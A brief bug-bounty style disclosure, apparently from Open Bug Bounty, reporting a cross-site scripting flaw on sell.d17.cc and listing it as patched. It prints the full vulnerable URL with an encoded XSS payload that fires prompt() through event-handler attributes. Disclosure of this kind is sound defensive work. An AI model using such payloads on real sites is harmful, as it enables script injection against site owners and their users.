sell.d17.cc XSS vulnerability

Vulnerable URL: http://sell.d17.cc/search?hidden=1=aaaaa%27%22+onmouseover%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Ede%27m%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Edem%3C%2Ftag%3E=%E6%90%9C%E7%B4%A2 Details: Description| Value ---|--- Patched...